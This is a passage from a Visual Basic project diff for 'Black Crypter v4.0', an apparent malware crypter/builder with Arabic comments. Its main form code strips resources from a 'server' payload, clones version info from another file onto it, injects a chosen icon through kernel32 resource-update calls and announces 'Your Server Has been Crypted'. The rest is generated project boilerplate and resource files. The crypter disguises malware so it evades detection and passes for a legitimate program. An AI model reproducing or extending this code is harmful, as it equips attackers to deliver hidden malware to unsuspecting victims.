''حذف الريسورس من السرفر
If CheckBox6.Checked = True Then
Me.FlushIt(FileDD.FileName)
End If
''سحب معلومات ملف واضافتها للسرفر
If CheckBox12.Checked = True Then
If TextBox5.Text = "" Or TextBox5.Text = "[ File To Clone Info Path ]" Then
Interaction.MsgBox("Choose File To Clone Info Or Unckeck Enable Cloner .!", MsgBoxStyle.Critical, "Basic CDC Protector")
Else
clone(dd.FileName, FileDD.FileName)
End If
End If
Threading.Thread.Sleep(1000)
ProgressBar1.Value = 100
''حذف الملفات الخاصه بتغيير معلوات الاسمبلى
File.Delete(Application.StartupPath & "\System.exe")
File.Delete(Application.StartupPath & "\System.res")
File.Delete(Application.StartupPath & "\res.exe")
File.Delete(Application.StartupPath & "\res.log")
File.Delete(Application.StartupPath & "\res.ini")
File.Delete(Application.StartupPath & "\res.txt")
File.Delete(Application.StartupPath & "\System.exe")
File.Delete(Application.StartupPath & "\System.res")
File.Delete(Application.StartupPath & "\res.exe")
File.Delete(Application.StartupPath & "\res.log")
File.Delete(Application.StartupPath & "\res.ini")
File.Delete(Application.StartupPath & "\res.txt")
MsgBox("Your Server Has been Crypted as :" & vbNewLine & dialog.FileName, vbInformation, "DONE!")
End If
End If
Catch : End Try
ProgressBar1.Value = 0
End Sub
End Class
''كلاس تغيير الايقونه
Public Class IconInjector
<SuppressUnmanagedCodeSecurity()> _
Private Class NativeMethods
<DllImport("kernel32")> _
Public Shared Function BeginUpdateResource( _
ByVal fileName As String, _
<MarshalAs(UnmanagedType.Bool)> ByVal deleteExistingResources As Boolean) As IntPtr
End Function
<DllImport("kernel32")> _
Public Shared Function UpdateResource( _
ByVal hUpdate As IntPtr, _
ByVal type As IntPtr, _
ByVal name As IntPtr, _
ByVal language As Short, _
<MarshalAs(UnmanagedType.LPArray, SizeParamIndex:=5)> _
ByVal data() As Byte, _
ByVal dataSize As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
<DllImport("kernel32")> _
Public Shared Function EndUpdateResource( _
ByVal hUpdate As IntPtr, _
<MarshalAs(UnmanagedType.Bool)> ByVal discard As Boolean) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
End Class
<StructLayout(LayoutKind.Sequential)> _
Private Structure ICONDIR
Public Reserved As UShort
Public Type As UShort
Public Count As UShort
End Structure
<StructLayout(LayoutKind.Sequential)> _
Private Structure ICONDIRENTRY
Public Width As Byte
Public Height As Byte
Public ColorCount As Byte
Public Reserved As Byte
Public Planes As UShort
Public BitCount As UShort
Public BytesInRes As Integer
Public ImageOffset As Integer
End Structure
<StructLayout(LayoutKind.Sequential)> _
Private Structure BITMAPINFOHEADER
Public Size As UInteger
Public Width As Integer
Public Height As Integer
Public Planes As UShort
Public BitCount As UShort
Public Compression As UInteger
Public SizeImage As UInteger
Public XPelsPerMeter As Integer
Public YPelsPerMeter As Integer
Public ClrUsed As UInteger
Public ClrImportant As UInteger
End Structure
<StructLayout(LayoutKind.Sequential, Pack:=2)> _
Private Structure GRPICONDIRENTRY
Public Width As Byte
Public Height As Byte
Public ColorCount As Byte
Public Reserved As Byte
Public Planes As UShort
Public BitCount As UShort
Public BytesInRes As Integer
Public ID As UShort
End Structure
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String)
InjectIcon(exeFileName, iconFileName, 1, 1)
End Sub
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger)
Const RT_ICON = 3UI
Const RT_GROUP_ICON = 14UI
Dim iconFile As IconFile = iconFile.FromFile(iconFileName)
Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False)
Dim data = iconFile.CreateIconGroupData(iconBaseID)
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length)
For i As Integer = 0 To iconFile.ImageCount - 1
Dim image = iconFile.ImageData(i)
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length)
Next
NativeMethods.EndUpdateResource(hUpdate, False)
End Sub
Private Class IconFile
Private iconDir As New ICONDIR
Private iconEntry() As ICONDIRENTRY
Private iconImage()() As Byte
Public ReadOnly Property ImageCount As Integer
Get
Return iconDir.Count
End Get
End Property
Public ReadOnly Property ImageData(ByVal index As Integer) As Byte()
Get
Return iconImage(index)
End Get
End Property
Private Sub New()
End Sub
Public Shared Function FromFile(ByVal filename As String) As IconFile
Dim instance As New IconFile
Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename)
Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned)
instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR)
instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {}
instance.iconImage = New Byte(instance.iconDir.Count - 1)() {}
Dim offset = Marshal.SizeOf(instance.iconDir)
Dim iconDirEntryType = GetType(ICONDIRENTRY)
Dim size = Marshal.SizeOf(iconDirEntryType)
For i As Integer = 0 To instance.iconDir.Count - 1
Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY)
instance.iconEntry(i) = entry
instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {}
Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes)
offset += size
Next
pinnedBytes.Free()
Return instance
End Function
Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte()
Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount
Dim data(sizeOfIconGroupData - 1) As Byte
Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned)
Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False)
Dim offset = Marshal.SizeOf(iconDir)
For i As Integer = 0 To ImageCount - 1
Dim grpEntry As New GRPICONDIRENTRY
Dim bitmapheader As New BITMAPINFOHEADER
Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned)
Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER)))
pinnedBitmapInfoHeader.Free()
grpEntry.Width = iconEntry(i).Width
grpEntry.Height = iconEntry(i).Height
grpEntry.ColorCount = iconEntry(i).ColorCount
grpEntry.Reserved = iconEntry(i).Reserved
grpEntry.Planes = bitmapheader.Planes
grpEntry.BitCount = bitmapheader.BitCount
grpEntry.BytesInRes = iconEntry(i).BytesInRes
grpEntry.ID = CType(iconBaseID + i, UShort)
Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False)
offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY))
Next
pinnedData.Free()
Return data
End Function
End Class
End Class
@@ -0,0 +1,38 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.18449
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
' or if you encounter build errors in this file, go to the Project Designer
' (go to Project Properties or double-click the My Project node in
' Solution Explorer), and make changes on the Application tab.
'
Partial Friend Class MyApplication
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
Public Sub New()
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
Me.IsSingleInstance = false
Me.EnableVisualStyles = true
Me.SaveMySettingsOnExit = true
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
End Sub
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
Protected Overrides Sub OnCreateMainForm()
Me.MainForm = Global.Builder.Form1
End Sub
End Class
End Namespace
@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="utf-8"?>
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<MySubMain>true</MySubMain>
<MainForm>Form1</MainForm>
<SingleInstance>false</SingleInstance>
<ShutdownMode>0</ShutdownMode>
<EnableVisualStyles>true</EnableVisualStyles>
<AuthenticationMode>0</AuthenticationMode>
<ApplicationType>0</ApplicationType>
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
</MyApplicationData>
@@ -0,0 +1,35 @@
Imports System
Imports System.Reflection
Imports System.Runtime.InteropServices
' General Information about an assembly is controlled through the following
' set of attributes. Change these attribute values to modify the information
' associated with an assembly.
' Review the values of the assembly attributes
<Assembly: AssemblyTitle("Black Crypter v4.0 | Legend Edition")>
<Assembly: AssemblyDescription("")>
<Assembly: AssemblyCompany("Black.Hacker | Darkness Software")>
<Assembly: AssemblyProduct("Black Crypter v4.0 | Legend Edition")>
<Assembly: AssemblyCopyright("Copyright © Black.Hacker - 2014")>
<Assembly: AssemblyTrademark("")>
<Assembly: ComVisible(False)>
'The following GUID is for the ID of the typelib if this project is exposed to COM
<Assembly: Guid("7dae812b-f16a-4d8b-b501-abe8a5bea7c5")>
' Version information for an assembly consists of the following four values:
'
' Major Version
' Minor Version
' Build Number
' Revision
'
' You can specify all the values or you can default the Build and Revision Numbers
' by using the '*' as shown below:
' <Assembly: AssemblyVersion("1.0.*")>
<Assembly: AssemblyVersion("4.0.0.0")>
<Assembly: AssemblyFileVersion("4.0.0.0")>
@@ -0,0 +1,130 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.18449
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Imports System
Namespace My.Resources
'This class was auto-generated by the StronglyTypedResourceBuilder
'class via a tool like ResGen or Visual Studio.
'To add or remove a member, edit your .ResX file then rerun ResGen
'with the /str option, or rebuild your VS project.
'''<summary>
''' A strongly-typed resource class, for looking up localized strings, etc.
'''</summary>
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
Friend Module Resources
Private resourceMan As Global.System.Resources.ResourceManager
Private resourceCulture As Global.System.Globalization.CultureInfo
'''<summary>
''' Returns the cached ResourceManager instance used by this class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
Get
If Object.ReferenceEquals(resourceMan, Nothing) Then
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Builder.Resources", GetType(Resources).Assembly)
resourceMan = temp
End If
Return resourceMan
End Get
End Property
'''<summary>
''' Overrides the current thread's CurrentUICulture property for all
''' resource lookups using this strongly typed resource class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend Property Culture() As Global.System.Globalization.CultureInfo
Get
Return resourceCulture
End Get
Set
resourceCulture = value
End Set
End Property
'''<summary>
''' Looks up a localized resource of type System.Byte[].
'''</summary>
Friend ReadOnly Property res() As Byte()
Get
Dim obj As Object = ResourceManager.GetObject("res", resourceCulture)
Return CType(obj,Byte())
End Get
End Property
'''<summary>
''' Looks up a localized string similar to [MRU List]
'''MRU1=D:\Documents and Settings\Administrateur\Bureau\KingCobraXD Assembly Changer\KingCobraXD Assembly Changer\Resources\Res.exe
'''MRU2=
'''MRU3=
'''MRU4=
'''
'''[Setup]
'''left=235
'''top=248
'''width=681
'''height=367
'''MaximizedState=0
'''vsplit=200
'''LastOpenedDir=D:\Documents and Settings\Administrateur\Bureau\KingCobraXD Assembly Changer\KingCobraXD Assembly Changer\Resources
'''LastSavedDir=
'''
'''[Font]
'''Name=Courier New
'''Size=10
'''CharSet=1
'''Color=-2147483640
'''Style=0
'''
'''.
'''</summary>
Friend ReadOnly Property Res1() As String
Get
Return ResourceManager.GetString("Res1", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Imports System.Windows.Forms
'''Imports System.Reflection
'''
'''&lt;Assembly: AssemblyTitle(&quot;1&quot;)&gt;
'''&lt;Assembly: AssemblyDescription(&quot;2&quot;)&gt;
'''&lt;Assembly: AssemblyCompany(&quot;3&quot;)&gt;
'''&lt;Assembly: AssemblyProduct(&quot;4&quot;)&gt;
'''&lt;Assembly: AssemblyCopyright(&quot;Copyright © 2014 &quot; &amp; &quot; 5&quot;)&gt;
'''&lt;Assembly: AssemblyTrademark(&quot;6&quot;)&gt;
'''&lt;Assembly: AssemblyVersion(&quot;*version*&quot;)&gt;
'''&lt;Assembly: AssemblyFileVersion(&quot;*fversion*&quot;)&gt;
'''
'''Module X
''' Sub Main()
''' MessageBox.Show(&quot;&quot;, &quot;&quot;, MessageBoxButtons.OK, MessageBoxIcon.Error)
''' End Sub
'''End Mod [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property String1() As String
Get
Return ResourceManager.GetString("String1", resourceCulture)
End Get
End Property
End Module
End Namespace
@@ -0,0 +1,146 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="res" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\res.exe;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</data>
<data name="Res1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\Res.ini;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;windows-1256</value>
</data>
<data name="String1" xml:space="preserve">
<value>Imports System.Windows.Forms
Imports System.Reflection
&lt;Assembly: AssemblyTitle("1")&gt;
&lt;Assembly: AssemblyDescription("2")&gt;
&lt;Assembly: AssemblyCompany("3")&gt;
&lt;Assembly: AssemblyProduct("4")&gt;
&lt;Assembly: AssemblyCopyright("Copyright © 2014 " &amp; " 5")&gt;
&lt;Assembly: AssemblyTrademark("6")&gt;
&lt;Assembly: AssemblyVersion("*version*")&gt;
&lt;Assembly: AssemblyFileVersion("*fversion*")&gt;
Module X
Sub Main()
MessageBox.Show("", "", MessageBoxButtons.OK, MessageBoxIcon.Error)
End Sub
End Module</value>
</data>
</root>
@@ -0,0 +1,73 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.18449
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "12.0.0.0"), _
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Partial Friend NotInheritable Class MySettings
Inherits Global.System.Configuration.ApplicationSettingsBase
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()), MySettings)
#Region "My.Settings Auto-Save Functionality"
#If _MyType = "WindowsForms" Then
Private Shared addedHandler As Boolean
Private Shared addedHandlerLockObject As New Object
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
If My.Application.SaveMySettingsOnExit Then
My.Settings.Save()
End If
End Sub
#End If
#End Region
Public Shared ReadOnly Property [Default]() As MySettings
Get
#If _MyType = "WindowsForms" Then
If Not addedHandler Then
SyncLock addedHandlerLockObject
If Not addedHandler Then
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
addedHandler = True
End If
End SyncLock
End If
#End If
Return defaultInstance
End Get
End Property
End Class
End Namespace
Namespace My
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
Friend Module MySettingsProperty
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
Friend ReadOnly Property Settings() As Global.Builder.My.MySettings
Get
Return Global.Builder.My.MySettings.Default
End Get
End Property
End Module
End Namespace
@@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>
Binary file not shown.

After

Width:  |  Height:  |  Size: 321 KiB

@@ -0,0 +1,23 @@
[MRU List]
MRU1=D:\Documents and Settings\Administrateur\Bureau\KingCobraXD Assembly Changer\KingCobraXD Assembly Changer\Resources\Res.exe
MRU2=
MRU3=
MRU4=
[Setup]
left=235
top=248
width=681
height=367
MaximizedState=0
vsplit=200
LastOpenedDir=D:\Documents and Settings\Administrateur\Bureau\KingCobraXD Assembly Changer\KingCobraXD Assembly Changer\Resources
LastSavedDir=
[Font]
Name=Courier New
Size=10
CharSet=1
Color=-2147483640
Style=0